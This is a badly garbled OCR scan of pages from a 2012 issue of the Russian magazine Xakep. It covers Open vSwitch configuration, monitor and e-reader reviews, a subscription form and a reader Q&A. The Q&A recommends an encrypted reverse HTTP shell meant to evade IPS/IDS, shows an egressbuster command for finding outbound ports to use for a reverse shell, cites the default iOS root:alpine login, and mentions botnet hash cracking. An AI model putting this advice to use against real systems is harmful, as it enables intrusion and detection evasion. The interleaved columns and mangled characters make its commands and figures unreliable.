блице sFiow и лишь затем адресовали эту запись . Сама команда ovs-vsctl позволяет использовать и тот и другой варианты, позтому
2009].
Управление в этом случае осу ществляется с помощью
ты можешь писать команды в той послед овательнос ти , какая тебе
одной из дисциплин ТС. Наnример , чтобы настроить ширину
удобна .
канала на портах
З. Зеркалирование портов. Так, а что если мы хотим, чтобы все
НТВ:
пакеты, пришедшие на порт лиравались на порт
ethO или ethl, автоматически транс eth2? В этом случае команда будет выглядеть
ethO и ethl, можно использовать дисциплину
$ sudo ovs-vsctl -- \
еще более запутанно:
set Port ethB qos=@newqos -- \ set Port ethl qos=@пewqos -- \ --id=@пewqos create QoS type=liпux-htb \ other-coпfig:max-rate=lBBBeeвввв queues=B=@qB,l=@ql -- \ --id=@qB create Queue other-coпfig: min-rate=lBBBBBBBB \ other-config: max-rate=lBBBBBBBB -- \ --id=@ql create Queue other-coпfig: miп-rate=SBBBBBBBB
$ sudo ovs-vsctl
\ set Bridge brB mirrors=@m -- \ --id=@ethB get Port et hB \ --id=@ethl get Port ethl -- \ --id=@eth2 get Port eth2 -- \ --id=@m create Mirror name=mymirror -- \ select-dst-port=@ethB,@ethl select-src-port=@ethB,@ethl\ output-port=@eth2
$ Здесь нам потребовалось создать одну новую запись в таблице
QoS для управления суммарной шириной обоих ка н алов, а также две новых записи в таблице Queue для управления шириной кана
Здесь мы с начала присваиваем колонке miггогs записи ЬгО ссылку на запись в таблице Мiггог, описанной в конце. Далее ,
ла для каж дого порта. Если ты знаешь, как работает управление
чтобы мы смогли сослаться из еще не созданной записи на нужные
трафиком с помощью Tгaffic Сопtгоl, то легко разберешься в этой
нам порты , мы получаем ссылку на записи этих портов в таблице
конфигурации.
Рогt с помощью команды get. В конце создаем запись в таблице
l:l§!:leJ!(§j
Мiггог с н азва нием mуmiггог и заполняем колонки нужными нам данными : select-dst-poгt - зеркалирование входящего трафика на
В этой статье я описал лишь малую толику того, что может О реп
порты
vSwitch. В реальной ситуации, когда виртуальные окружения
laethO и laethl, select-sгc-poгt- зеркалирование исходяще
го трафика, output - poгt - куда направлять этот трафик. В любой
работают на целом кластере виртуальных машин, управлять всем
момент зеркалирование можно отменить:
этим оркестром с помощью одной лишь команды
ovs-vsctl уже не
получится, зато можно будет использовать контроллер OpeпFiow, но это тема для отдельной статьи. ::Х:
$ sudo ovs-vsctl remove Bridge brB mi rrors mymirror
А ЧТО ТАКОЕ
Орел
OPENFLOW?
vSwitch
активно используется
в коммерческой nлатформе Xen
OpeпFiow- это протокол, разработанный для управления
производительность сети за счет того, что со свитчей
политикой прохождения сетевых па кетов в больших сетях ,
снимается дополнительная нагрузка, но и позволяет
построенных на основе множества коммутаторов. Суть
администратору создавать эффективные схемы
протокола не просто в том , чтобы управлять свитчами на
nро х ождения па кетов из одной точки и с помощью единого
расстоянии , - можно переложить всю работу по управлению
интерфейса.
правилами прохождения па кетов на плечи выделенного сервера, выполняющего роль контроллера .
Контроллер постоянно обменивается информацией
Cloud.
Протокол пока еще очень молодой , но интерес к нему растет рекордными темпами . О nоддержке протокола
уже заявили такие производители, как и
NEC,
Cisc o,
Junipeг, НР,
разработавшие для своих маршрутизаторов
с коммутаторами и строит на основе полученны х данны х
IBM
к арту сети, после чего берет на себя управление всеми
прошив кис nоддержкой протокола . Многие программные
правила ми обработки па кетов . Это не только повышает
маршрутизаторы также поддерживают
132
OpenFiow.
ХАКЕР
EPIDEMZ.NET
05/160/2012
ПОДКЛЮЧАЕМ ТЕРНЕТ с 30АПРЕЛЯ no 30 МАЯ
. . . . . . ,. ~~~ 10 ГОДОВЫХ КОНТРАКТОВ НА ДОМАШНИЙ
ИНТЕРНЕТ *
*подробности на сайте
www.mancard.ru
МА41М ~ АnьФа·Банк {game}land Бuлаuн ОАО •Альфа - Банк• . Генеральная лицензия банка Росс ии на осуществлен и е бан ко в ских о п ера ций от
EPIDEMZ.NET
29.01.1998 N21326"
FERRUM
Алексей Шуваев
ОЛНЬI ТЕСТИРОВАНИЕ ШИРОКОФОРМАТНЫХ МОНИТОРОВ
• Acer 5273HL • ASUS 27Т1ЕН • BenQ XL2420T • Dell Р2412Н • Samsung 527д950D • ViewSonic VX2451 mh-LED
С ДИАГОНАЛЬЮ БОЛЕЕ 24" этом номере мы рассмотрим широкоформатные мониторы
сти по краям экрана. Далее при помощи утилиты
на базе ТN-матриц. А чтобы тебе было интереснее, мы
Analyzeг мы проверили испытуемых на различные профили обнов
взяли мониторы с диагональю
ления картинки.
решением
Full
24
дюймов и более, но с раз
Pixel
Peгsisteпce
Наконец, под занавес тестирования, вооружившись профее
НО .
сианальным колориметром DataColoг SруdегЗ
МЕТОДИКА ТЕСТИРОВАНИЯ
цветопередачу !под нулевым углом, под углом
Elite, определяли 45 градусов в гори
Пока экран монитора в течение получаса прогревался, мы изучали
зонтальной плоскости и
дизайн, функционал и эргономику девайса. Также уделили внима
цветовой охват. Первый параметр характеризуется графиком
ние организации меню и наличию la главное- качеству] предуста
с тремя RGВ-линиями. В идеале в с е линии должны быть натянуты
новленных настроек д ис пл еев. Дл я мониторов с боль ш ой диагона
ровной, упругой стрункой . Любое откл о нение говорит о наруше
лью важным дополнением, безусловно, является наличие подставки
нии цветопередачи. Второй параметр характеризуется площадью
с несколькими степенями свободы, а также опции крепления
красного треугольника. Чем больше его площадь -тем больше
VESA.
45 градусов- в вертикальной] , а также
Монитор прогрелся. Первым делом при помощи программы TFТtest
цветовой охват. Для сравнения привед е н зеленый треугольник,
мы изучили равномерность подеветки вкупе с отклонением ярко-
а именно стандарт
sRGB.
ХАКЕР
EPIDEMZ.NET
05/160/201 2
П олный Н О
ACERS273HL
13
ак бы пользователи ни восхищались работой дизайнеров компании
Apple,
художники Асе г тоже
не дремлют и выдают на-гора очень замысловатые
и затейливыё проекты. К примеру, ножка этого монитора состоит из двух частей, одна из которых служит опорой дисплею и содержит всю электронику, а вторая часть
крепкий и прочный металл в виде буквы
L. Собрав
основа
ние воедино, получишь асимметричную опору, которая тем
не менее очень устойчиво держит конструкцию и не дает ей даже покачиваться. Помимо этого в основании ножки спрятана вся электроника управления и кнопки работы с меню- выглядит футуристично, работает практично. В этой же ножке размещаются колонки . Надо отметить, что
монитор лишен входа
DVI, а
на задней стенке расположены
пара HDMIIпo нему же передается звук! и один
0-Sub.
Корпус монитора крайне тонкий, места для блока пита ния в ножке уже не нашлось, поэтому мы снова встречаем
выносной блок питания, который надо будет куда-нибудь пристроить. Вес из-за массивной асимметричной опоры достигает почти
6 кг,
но это будет иметь значение лишь при
доставке коробки до дома. Что касается цветопередачи, то при фронтальном про смотре качество практически идеальное, а вот при откло
нении от перпендикуляра в сторону или вверх-вниз цвета
будут постепенно искажаться, хотя и в компании двоих друзей фильм удастся посмотреть без проблем.
ще оди н монитор в
24 дюйма
от именитого американского произ
водителя . Главной фишкой этого девайса является поворотный диспле й. Ты можешь выбрать книжное или альбомное отображе
ние: в первом вари анте будет гораздо удобнее работать с фотографиями или таблицами, а второй- более привычен для просмотра фильмов и игр. Ра сположение кнопок управления на передней панели облегчит настройку в любом положении экрана .
Для удоб ства пользователя монитор осна щен USВ-хабом на пару портов
USB 2.0,
которые расположены слева, а нащупать их не составит большо
го труда. Благодаря специальной ножке и креплению монитор не только вращается, но и позволяет регулировать высоту. <111
В отличие от мониторов-конкурентов, время отклика матрицы у это г о устройства составляет
5 м с:
в цифрах это выглядит несколько хуже, но
практически не заме тно для глаза в реальных условиях. Куда показатель
нее ярко сть и контрастность, которые позволят насладиться хорошей картинкой при про смо тре фото или видео. Колориметрический тест даже при фронтальном измерении пока за л не лучший результат - зеленая составляющая цвета оторвалась от синей и красной. Правда, при взгляде выше перпендикуляра цвета не будут сильно искажаться. Пожалуй , этот
экран соз дан для тех, кому часто приходится обрабатывать таблицы или фотографии . Да и просто для тех , кто любит комфорт, простотуи удобство настройки .
Х АКЕР
135
05/160/2012
EPIDEMZ.NET
FERRUM
от мы наконец и дошли до монитора, созданного <<геймерами для геймеров». В разработке этого устройства учиты вались пожелания заядлых игроков в Соuпtег Stгike:
HeatoN
и
SpawN.
Вылились они
в ряд настроек и внешнюю подгонку устройства. К примеру, этот монитор позволяет регулировать не только наклон па н ели, но и высоту положенИя
при помощи специальной ножки. Кроме того, с дисплеем поставляется волшебный пульт управления, во многом схожий с мышью . Выносной пульт
управления не только позволяет быстро применять три пресета изображе ния, но и дублирует основные кнопки работы с монитором. Надо отметить,
_,.
что кнопки- сенсорные, так что давить на них не надо.
Теперь перейдем к начинке и особенностям меню . П омимо стан дартных регулировок яркости и контрастности можно даже выбирать
разрешение, которое будет соответствовать диагонали от
17 до 24
дюймов , а изображение при этом будет не растягиваться, а по ме щ аться симметрично относительно центра. То есть можно пол уч ить п о лноц е н ное изображение картинки технология-
Black
4:3 без
искажений. Еще о дна занимательная
eQualizeг. Она позволяет высветлить темн ы е участки
экрана без засвечива ния светлых . То есть в темных игровых углах будет светло, а небо не превратится в белое пятно, как это происходит при просто м увеличении яркости . Собственно, и качество картинки достойно такого монитора .
ASUS27Т1EH мониторе с диагональю
27 д юймов
появился ТВ -тюнер
совер ш енно здравое решение. И это не пр остой тюнер,
а гибридный, который с одинаковой легкостью ловит
вещание в аналоге PAL/SECAM и в цифровом формате DVB-T. Как нам постоянно обещают, в России скоро повсеместно будет распро странено цифровое вещание, а если ты по каким-либо причинам не перешел на кабельное, спутниковое или цифровое телевидение, то можно присмотреться к этому монитору. Надо добавить, что дисплей позволяет подключать любые аналоговые источники видеосигнала,
будь то игровая консоль или DVD/BD-плeep, благодаря наличию композитных и компонентных входов, а также разъемов и
S-Video.
Как и любой телевизор,
ASUS
1>
SCART
27Т1 ЕН наделен собствен
ной акустикой, которая может создавать эффект объемного звуча ния. Добавь к этому п ульт ди станционного у п равления, и мы уже почти забыли, что это еще и монитор. Который, кстати, выдает очень
достойную картинку, п рактически полно с тью п ерекрывая цветовой профиль
RGB.
Кроме того, ко л ориме тр ический график отражает
высокое качество картинки как при фронтальном просмотре , так и при боковом взгляде .
ТЕХНИЧЕСКИЕ ХАРАКТЕРИСТИКИ
Диагональ, разрешение: Тип матрицы:
Яркость : Контрастность : nодсветка : Углы обзора :
Acer5273HL
27", 1920 Х 1080 TFT TN 300 кд/м 2 динамическая
24", 1920 Х 1080 ТFТТN 250 кд/м 12 000 000:1
24", 1920Х1080 ТFТТN 350 кд/м 2
2
динамическая
LED
LED
Частота вертикальной развертки: Время отклика : Интерфейсы:
170' 160' 55-75 Гц 2 мс 2xHDMI, VGA ID-SuЬI
170' 160' 55-75
Дополнительно:
динамики 2Х3 Вт
USВ-концентратор , 2Х USB
Габариты :
645 Х 469 Х 190 ММ
568 Х3 70 Х 180 ММ
Вес :
5,8 кг
6 кг
по горизонтали: по вертикали :
динамическая
2 000 000:1
12 000 000:1
LED 170' 160' 56-120Гц
Гц
5 мс
2 мс
DVI -D IHDCPI, USB !видео] , VGA ID-SuЬI
2xDVI-D !HDCP], 2x HDMI, DisplayPoгt, USB !видео], VGA ID-Subl USВ-концентратор, 3x USB 2.0
2.0
571 Х 517Х150 ММ кг
6,1
ХАКЕР
136
EPIDEMZ.NET
05/160/2012
Полный НО
SAMSUNG S27A950D ачнем с внешнего вида: д изайнеры постарались на славу. Асимметричное кре п ле н ие вызывает востор г у абсолют н ого большинства- монитор хочется трогат ь , смотреть на него,
хватать и бежать [куда бежать? - Прим . руко в одителя тестлабаl . Вся электроника·спрятана в подставке, а панель с экраном сделана не· вероятно тонкой. Глянцевый экран выдает очень красивую картинку, но стоит солнцу посветить в окно, как сразу приходится возвращаться
к полумраку в комнате. Е сли пользова т еля пере д компьютером нет,
.,._
монито р автоматически снижае т яркость и энерго п отребление. На задней панели имеются входы Disp l ayPoгt,
DVI и HDMI.
Сейчас поговорим об одной из главных фишек девайса-поддержке
режима
В комплект поставки входят затворные очки . В сочетании
30.
с матрицей, поддерживающей частоту обновления
120
готовый набор для наслажде н ия полноценным
Ч то интересно, в от·
30.
Гц, ты получаешь
личие от фирме н ных очков
NVIDI A.
про с той батарейкой на
которая продается на каждом у глу.
3 В,
эти окуля р ы Samsuпg оснащаются
Хотявинтернете еще встречаются обсуждения проблем , возникающих при активации 3D-режима, дело за обновлением драйверов.
VIEWSONIC VX2,51 MH-LED авершает тест монитор
ViewSonic,
который находится на россий·
ском рынке давно и заслуженно . При самой низкой стоимости в нашем тесте монитор обладает самым комnактным дисплеем-
23,6 дюйма ,
но nорадует владельца разрешением
Full
НО . LЕD-nодсветка
равномерно освещает экран, и монитор имеет довольно серьезный заnас яркости, из-за чего даже приходится вечером убавлять в настройках мощ ность светодиодов. Но благодаря имеющимся и программируемым nресетам нетрудно сделать предварительные настройки для разного времени суток.
_".
Время отклика матрицы -
а динамическая
контрастность составляет
2 м с, д остойный результат, 20 000 000:1, поэтому смело
можешь рассчиты
вать на отличную картинку. Приятно, что производитель оснастил монитор не только современными портами
DVI
и
HDMI, но
и старым
0-Sub,
который
пока не собирается уходить на покой. Качество картинки радует не только глаз, но и электронику нашего колориметра - график хоть и не идеальный,
но большого расхождения цветов нет. Приятным бонусом владельцу станет пара встроенных динамиков, которые звучат n усть и не как качественная акустика с деревянным корпусом, но, если нет других, посмо т реть кино
вполне можно и с этими . К недостаткам можно отнести, nожалуй, только не очень логичные и не очень удобные по началу кнопки работы с меню- они установлены под углом, и нажимать их не так-то просто, если у тебя круnные пальцы.
выводы ASUS 27Т1ЕН
ViewSonic VX2,51mh-LED
Samsung 527A950D
В нашем тесте в первую очередь можно выделить
монитор
Samsung S27A95 0D,
инствах отличная картинка,
у которого в досто
30
и незабываемый
дизайн,- это однозначно « Выбор редакции >> . 2Т', 1920 Х 1080
27 .. , 1920 Х 1080
23.6 .. , 1920 Х 1080
Пр из <<Лучшая nокупка » достается дисплею Асе г
TFTTN 300 кд/м 1
ТFТТN
ТFТТN
S273HL- за
300 кд/м MEGA DCR
динамическая
LED
LED
LED
но•
170° 160°
170° 160° 50-75
динамическая
1
1О 000 000:1
300 кд/м
1
20 000 000:1
огромную диагональ, особое друже
любие к nользователю, множество настроек и их nростоту. А если ты хочешь сэкономить жизненное пространство, а отказаться от телевизора nока не
160° 56 -76
Гц
55-120Гц 2мс
5мс HOMI, VGA 10-SuЬI, композитный, 5-Video, компонентный, SCART гибридный тюнер 667 Х 515 Х 230 мм 8,7 кг
ХАКЕР
OisplayPoгt, HOMI, OVI-0 IDual Liпkl
получается, присмотри сь к Гц
2мс OVI-0 (HOCPI, HOMI, VGA (0-SuЬI
датчик освещенности и nрисутствия
пользователя, 30-очки 621 Х 380 Х 11 ММ
5,9
кг
ASUS
27Т1ЕН- очень
достойная модель как в плане функций, так и в плане качества изображения. Наконец, идеальным геймерским монитором,
динамики 2 Х 2,5 Вт
на наш взгляд, является модель
582 Х 440 Х 210 ММ кг
Одноименная награда nрилагается. I
4,23
BenQ ХL2420Т.
137
05/160/2012
EPIDEMZ.NET
FERRUM
Алексей Шуваев
воок Т7007 ЭЛЕКТРОННОЕ Ч ТИВО Электронные книги уже давно прошли тот период, когда
систему, позволяет рабо т а т ь и и г рат ь , смо т реть фильмы
все, что они умели, - это выводить текст на экран да
и л и об щ аться в Сети.
вос п роизводить аудиофайлы. В наши дни электронная
Ч тобы насладиться в и д ео или муз ы кой, л учше
800 Х 480, сенсорный
книга- это неспеш н ый планшет, который в дополне
зах в атить нау ш ники, так как в строен ны й ди н а мик н е
резистивный Процес сор: двухъядерны й ARM9, 1,2 Г Гц Операционная сист е ма:
ние ко всему читает все по п улярные т екстовые форма
обладает ни д остато ч ной громкос т ью, ни высоким каче
т ы. В наши руки попала одна из таких- универсальный
ством. И кстати, довольно н еудобным оказался провод
ридер
зарядки- слишком коро т кий.
Э кр а н :
7" LED ТFТ 16:9,
Android 2.3.1 [nоследующее об новление до 4.0) Текстовые форматы : PDF, EPUB, FB2, ТХТ, MOBI, HTML, РОВ , RTF, DOC, LRC, DjVU, CBR, CBZ, XPS Графичес к ие форматы : JPG, ВМР, PNG, GIF З ву ков ы е ф ор маты: МР3, WMA, FLAC, OGG, ддС, WAV,
etc. Фор м ат заnиси :
WAV,
обычное
качество- 32 Кбит/с, высокое качество- 45 Кбит/с FМ -тюнер: есть [интернет радио[ В ст р о енная п ам я т ь :
8 Гбайт Ка р та памяти : microSD[HCI Class 2-10 до 32 Гб Интерф е йс: USB 2.0 Бе с проводны е сет и: IEEE 802.11 Ь/g/n, nодключение 3G-модема через USB-nopт Вывод зву ка: 3,5 мм наушники, встроенный Е м кос т ь а к кумулятора:
3700 мдч [защита от перегрева и пере заряда) М атер и ал корпус а : алюминий/пластик Габ а риты: 195 Х 120 Х11 мм
345
За основу был взя т довольно производительный
г
Встроенный аккумулятор емкостью
процессор семейс т ва
ряжается око л о
рующий с частотой
около
ARM9 с двумя ядрами, функциони 1,2 Г Гц . Это уже не сто л ько «книга»,
4,5
4 часов
3700
мдч за
и обеспечивает работу в сети
часов, п росмотр фильмо в около
3,5 часов, 5 часов. Таким об
сколько полноценный планшет. Особенно если учесть,
а не п осредственно чтение - более
что собственной памяти на борту устройства распаяно
разом, одного зар я да хватит для сре д ней длительности
8 Г б.
перепета, а дальше уже придется искать розетку.
А при помощи карт формата
ширить область хранения еще на
microSD 32 Г б.
можно рас
Сенсорный резистивный экран с диагональю
7 д юй
l:l§l:lei!ID
мов не очень хорошо реагирует на нажатия крупными
П ри всех о п исанных преиму щ ествах книга
пальцами, зато отлично взаимодействуе т с тонкими
ВООК Т7007 обла д ает еще и отлич н ой це н ой, которая
предметами, будь то ручка или стилус. Экран соз д ан
может п ривле чь многих покупателей. Ещ е бы, ве д ь
WEXLE R.
на основе ТFТ -матрицы с L Е D-подсветкой, ч т о н е
можно приобрести п ланше т по ц ене в д вое ме н ьшей,
п лохо увеличивае т время автоном н ой работы . Кстати,
чем у конкуре нт о в , т олько лишь потому, что устройство
не работает, поэтому изменять масштаб
multi-to uch
страни ц ы или фо т ографии вол ш ебным движением не
пози ц ионируется как электронная кни г а. П рисмотре т ь ся к такому девайсу однозначно стои т .
по л учится.
П рия т но, что д евайс оснащен Wi- F i-мо д улем, п озво л я ющим ле г ко в ы хо д ить в сеть и бороз д и т ь простар ы инте рн ета.
динамик
В ес:
WEXLER .BOOK Т7007 .
USB-host
ту не только ф л е ш - н ако п ители, н о и 3G-мо д емы дл я
выхо д а в глобальную паутину. В качес т ве ОС установ лена Aпd г o i d
2.3.1,
ПЛЮ С Ы И МИН У СЫ
поз в о л яет по д ключа т ь к п лан ш е
которая в п осле д с тв ии може т быть
Высокая функцио н альность Низкая стоимость Наличие
Wi- Fi
обно вл е н а д о версии функцио н ал
4.0 . И ме н но благо д ар я этому WEXLE R.BOOK Т7007 растет п рак т ически
а
бесконеч н о- количество со ф та, н а п иса нн о г о по д эту
11
Н е обн а руже н о ::Х:
ХАКЕР
138
EPIDEMZ.NET
05/160 /2012
ГОДОВАЯ экономия
Подписка 1.
Разборчиво заполни подписной купон и кви
12 НОМЕРОВ 6 НОМЕРОВ
танцию, вырезав их из журнала, сделав ксе
рокопию· или распечатав с сайта
shop.glc.ru .
2. Оплати
подписку через любой банк .
3. Вышли
в редакцию копию подписных доку
500
2200 1260
руб.
РУБ. РУБ.
ментов- купона и квитанции- любым из
УЗНАЙ, КАК САМОСТОЯТЕЛЬНО ПОЛУЧИТЬ
нижеперечисленных способов:
ЖУРНАЛ НАМНОГО ДЕШЕВЛЕ!
• на e-mail: subscriberaglc.ru ; • по факсу: [495] 545-09-06; • почтой по адресу: 115280, Москва, ул. Ленинская Слобода, 19, Омега плаза, 5 эт . , офис NQ 21,
ПРИ ПОДПИСКЕ НА КОМПЛЕКТ ЖУРНАЛОВ ЖЕЛЕЗО+ ХАКЕР+
« Гейм Лэнд » , отдел подписки.
000
2 DVD:162 РУБЛЯ
ОДИН НОМЕР ВСЕГО ЗА
[НА 35% ДЕШЕВЛЕ, ЧЕМ В РОЗНИЦУ]
ВНИМАНИЕ! ЕСЛИ ПРОИЗВЕСТИ О ПЛАТУ В СЕНТЯБРЕ , ТО ПОДПИСКУ М О Ж НО ОФОРМИТЬ С НОЯБРЯ .
ЗА 12 МЕСЯЦЕВ 3890 РУБЛЕЙ [24 НОМЕРА] ЗА 6 МЕСЯЦЕВ 2205 РУБЛЕЙ [12 НОМЕРОВ]
ЕД И Н АЯ ЦЕН А П О ВС Е Й Р ОССИИ. ДО СТА В КА
ЕСТЬ ВОПРОСЫ? Пиш и на i nfofag lc. г u или звони
ЗА С ЧЕТ ИЗ Д АТ ЕЛЯ , В ТОМ Ч ИС ЛЕ КУ РЬЕР ОМ
нам
ПО МОСКВ Е В ПРЕДЕЛ АХ МКАД
других регионов Ро с с и и , абонентов сетей МТС, БиЛайн и Мегафон).
no бесnлатным телефо 8[495)663-82-77 [для мос к вичей) и 8 [800) 200-3-999 [для жителей
ПОДПИСНОЙ КУПОН ПРОШУ ОФОРМИТЬ ПОДПИСКУ НА ЖУРНАЛ • ХАКЕР »
D D
на
6
на
12
месяцев
начиная с
D
месяцев
_ _ _ _ __
Извещение
_ _ 201
г.
7729410015
ИНН
000
« Гейм Лэнд "
ОАО «Нордеа Банк» , г. Москва
Доставлять ~рнал по почте
р/с
No 4070281 05090001 32297
к/с
No 30101810900000000990
на домашнии адре с
БИК
Доставлять журнал курьером :
D D
044583990
на адрес офиса*
Плательщик
на домашний адрес**
Адрес (с инде ксом )
( отм еть
квад рат выбр а нн ого вари а н та подпи с ки )
кпп
Назначение платежа Оплата журнала « _ _ __
Ф. И.О.
770401001
Сумма
_ _ _» 2012г.
с
Ф.И.О.
Кассир
Подпись плательщика
АДРЕС ДОСТАВКИ: индекс
Квитанция
7729410015
ИНН
000
« Гейм Лэнд "
ОАО «Нордеа Банк», г. Москва
ДОМ
No 40702810509000132297
к/с
No 30101810900000000990
корпус
БИК
квартира/офис тепефgн
р/с
(
770401 001
Адрес (с индексом)
e-mail сумма оплаты
Назначение платежа
"в свободном поле ука>Ю1 название ф и рм ы
Сумма
Оплата журнала << _ _ _ _ _ __
и друrую необходи мую информацию
""в свободном nоле укажи друrую необходи м ую и нформацию
с
и альтернативный вариант доставки е случае отсутстеиR дом а
1свободное
кпп
044583990
Плательщик
Гlоле
Ф . И.О .
Кассир
Подпись плательщика
EPIDEMZ.NET
.»
2012 г.
. UNITS/ FAQ UNITED
Коллективный разум
FAQ United
ЕСТЬ ВОПРОСЫ- ПРИСЫЛАЙ НА
r:'t
FAQriiREAL.XAKEP.RU
утилита Cгaculous. Теперь что касается непо
4,5
.:;"1 инструментов осуществляется
с редственно реверсинга. Для статического
школьных поделок, этаnро га умеет делать
реверси н г iОS-приложений? Можно ли его вы
анализа можно использовать IDA Рго, otool, class -dump-z, а для динамического анализа - iphonedbg/gdb с устройством . Симулятор
nравильный бзкап всего [в том числе защи
Да , отреверсить и изучить внутреннее
iPhoпe тут бесполезен, так как он работает на
облачных сервиса в, например DгорЬо х или
устройство приложения можно и без а вот без iPhone'a с jailbгeak'oм не
i386 архитектуре, а приложениена на архитектуре ARM.
Box.net.
Каким образом и с помощью каких
полнить без мака?
1'.'1
181 М ас' а,
обойтись никак . Jailbгeak нужен для доступа
логина и пароля. Как известно, мобильные
то могу порекомендовать тебе проект
распространяются в виде
iOS
все данные можно заливать в один из
r:'t
На этот вопрос ответил Дмитрий Евдо
кимов из
приложения для
щенных и системных приложенийl. Более того,
iPhoпe
iPhone. Получив рут, на устройство надо поставить OpenSSH и подключится к нему с помощью PuTTY или WinSCP, используя гoot:alpine в качестве
к файловой системе
Digital
миллиона человек. В отличие от многих
Подскажите человеческое решение
.:;"1 для рисования графиков и диаграмм,
Secuгity. Как оказалось,
пентест мобильных приложений становится
которое не использовало бы умирающий
и при этом не требовало бы миллионы
все более востребованным. Если ты хочешь
Flash
сам поэкспериментировать в этой области,
денег, как делает Highchaгts
iGoat [bit.ly/HdXPCOI. Это приложение для iPhone,
\РА-па кетов, которые на самом деле пред
которое намеренно разработано с большим
ставляют собой ziр-архив, содержащий
количеством изъянов по части безоnас
JS.
По правде говоря, у меня не было nроектов, где требовалось строить по-настоящему сложные д иаграммы, но для
исполняемый файл и ресурсы для его
ности. Н о что еще более полезно, тут же
простых случаев хва тало о т крытой библио
функционирования . Непосредственно
приводится оnисание nодводных камней
теки Flotг2 [ www.humЫesoftwaгe . com/flotг2 1.
исполняемый файл, скорее всего, зашифро
и демонстрируется, как пофиксить баги, на
Ее единственная за дача- рисовать графики
ван с помощью технологии Faiгplay
примере
и диаграммы на
DRM [не
iGoat.
приложенияl. Это легко выяснить с помощью у т ил и ты
otool:
otool -1 AppName
1
r:'t
то значит, приложе
FF,
достаточно подключить скрипт flotг2.min .js
подобное для Aпdгoid?
и создать видимый контейнер
Chгome,
IE6+,
Andгoid,
iOS.
Для использования
div.
Д алее все
построения реализуются через метод F lotг.
grep cryptid 1,
которые корректно
iPhone умеет делать полный бэкап .:;"1 в облако iCioud, а есть ли что-то
dгaw[containeг,
Для Andгoid есть все- надо только Если cгyptid равен
HTML5,
отображаются [в том числе анимациейl в
зашифрованы только самоподnисанные
поискать
:1. Одной
из лучших утилит для
data , optionsl. Н а основе
Flotг2 развиваются и другие п роекты,
наnример En vision .js [ www.humЫesoftwaгe. com/envisionl - библиотека для создания
ние зашифровано. Соответственно, чтобы
резервного копирования заслуженно
получить бинарник, годный для анализа, его
считается
нужно Р?Сшифровать, в чем нам поможет
com/andгoid l, которой nользуются уже более
Titanium Backup [ matгixгewгiteг.
динамических визуализаций данных.
ЗАПУСТИТЬ ЛЮБИМЫЙ BACKTRACK НА ANDROID-ПЛAHШETE
D
Существует довольно много мануалов о том, как поднять BackTгack на Аndгоid-устройстве, в том числе
в
Сначала планшет нужно порутать
3
[иначе у нас не будет полного до ступа к файловой системе!. Для
Чтобы запустить BackTгack на планшете , необходима с n ециальная версия, nредназначенная для АRМ
любой модели и nроизводителя ты без труда
nроцес соров [а в любом смартфоне и планшете
устройств. Я для себя остановился на одном
найдешь инструкцию на форуме 4PDA.гu или
именно такой! . Она доступна для загрузки, как
из них, который мне показался наиболее
запад ном ресурсе xda-developeгs . com . В ка
и обычный билд, nрямо с официального сайта .
безопасным [не хотелось превратить планшет
честве девайса для экспериментов я выбрал
Дале е заходим в директорию
в кирпич! и простым в реализации. Общая идея
Motoгola
создаем там папку ВТ5 и распаковываем туда
ряд специфических для отдельно взятых
Xoom,
на котором все прошло как по
в том, чтобы запустить Bac kTгa ck параллельна
маслу. Скачал aпdгoid-sdk и использовал
основной ОС, поднять на нем
для того, чтобы джейлбрейкнуть девайс.
VNC
и получить
к нему доступ через один из VNС-клиентов.
adb
SDCARD д евайса,
архив только что скача н наго дистрибутива . Дальше находим там архив
boot.img .gz
и рас
паковываем ее в эту же самую директорию
[учти, что ее размер около 5 Гбl .
ХАКЕР
EPIDEMZ.NET
05/160/2012
FAQ UNITEO
1':'1
Мне нужен шелл, который удовлетво
. . . рял бы трем условиям: передавал
БОЛЬШОЙ ВОПРОС
данные через НТТР, выполнял обратные подключения и шифровал данные, чтобы они
не отображались в снифере в открытом виде
(может спалить IPS/105).
n
ЧЕМ Л УЧ ШЕ ВСЕГО
в принципе, ничего не стоит самому
ее юза ют для своих ц елей обладатели
БРУТИТЬ ХЕ ШИ ПОД
бот н етов, которые исnользуют мощности
WINDOWS?
зараженных машин для распределенного
написать такое решение. Н о если взять
W
брутфорса. Фишка в том, что
А
что-то очень простое и готовое, то п осмотри на
AES Е псгурtеd Reveгse НТТР Shelllbit.ly/HddpJ8 1. Он написан на Python и потому заnускается на
oci Hashcat
Однозначного ответа здесь н ет,
о ч е нь осторожна к nотреблению ресур
но о дн ой из любимых в со
сов комnьютера: во время nеребора без
обществе утилит является
проблем можно играть в игры или смо
любой системе; легко выполняет обратное
ocl Hashcat l hashcat . пet/oclhashcat-lite l .
треть фильмы. Пользователь заражен
подключение и инкапсупир ует данные в НТТР,
Если верить разработчикам, то э т о самое
ной машины может да же и н е заметить
предварительно шифруя их в
быстрое решение для брутфорса
nодвоха. К слову, эту же утилиту обычно
AES . Как
раз то,
NTLM,
что нужно. Сам я нашел этот скриnт, когда
MD5, SHA1, SHA256.
Бешеная произво
применяют, когда собирают адские ком
искал шелл, умеющий работать через за д анную
дительность д остигается, что логично ,
пьютеры с большим количеством самых
прокси. Такая возможность включается
б л аго даря ускорению за счет GPU !что
производительных видеокарт:
в сорцах, если за д ать в нем н есколько
важно : п оддерживаются видеокарты
умеет использовать производительность
nараметров:
как
каждой из них.
Включить
#
NVIDIA, так и ATII . Не удивлюсь, если
oci Hashcat
nрокси
PROXY_SUPPORT
=
"OFF"
UR L -npoкcи
#
PROXY_URL
=
"http:// proxyinfo : 88"
Логин
#
USERNAME
"username"
Пароль
#
PASSWORD
1':'1
"password "
Как, находясь во внутренней сети,
. . . определить порты, открытые «наружу», чтобы использовать reverse-шeлл?
n
Как вариант- туnо поnробовать
181 установить подключения по каждому из nортов, слушая их на внешнем хаете . Если соединение будет установлено, значит, порт открыт - то ес ть можно ничего особе нн о и не
придумывать. Есть реализация этой идеи, состоящая из двух частей: egгessbusteг и egгess_listeneг. На машине внутри исследуе мой сети заnускается «охо тни к»:
egress buster.exe 288.1.1.1
1-1еее
В качестве параметров мы указываем в н е шн ий хает, на который будем «сту ч а ть с я >>, 1
Дал ее переходим в эмуля т о р термина-
ла [ н едаром Aпdгoid сам по себе уже Linuxl и выполняем необходимые для запуска ВТ скри nты :
'
cd /s dcard / BTS ер busybo x .. / s h installbusybox.sh sh bootbt
ХАКЕР
BackTгack отлично себя чувствует на Аndгоid - устройствах
5
Только что мы ус т ановили
BusyBox
и за п устили BackTгack- с этого момента мы окажемся в командной
6
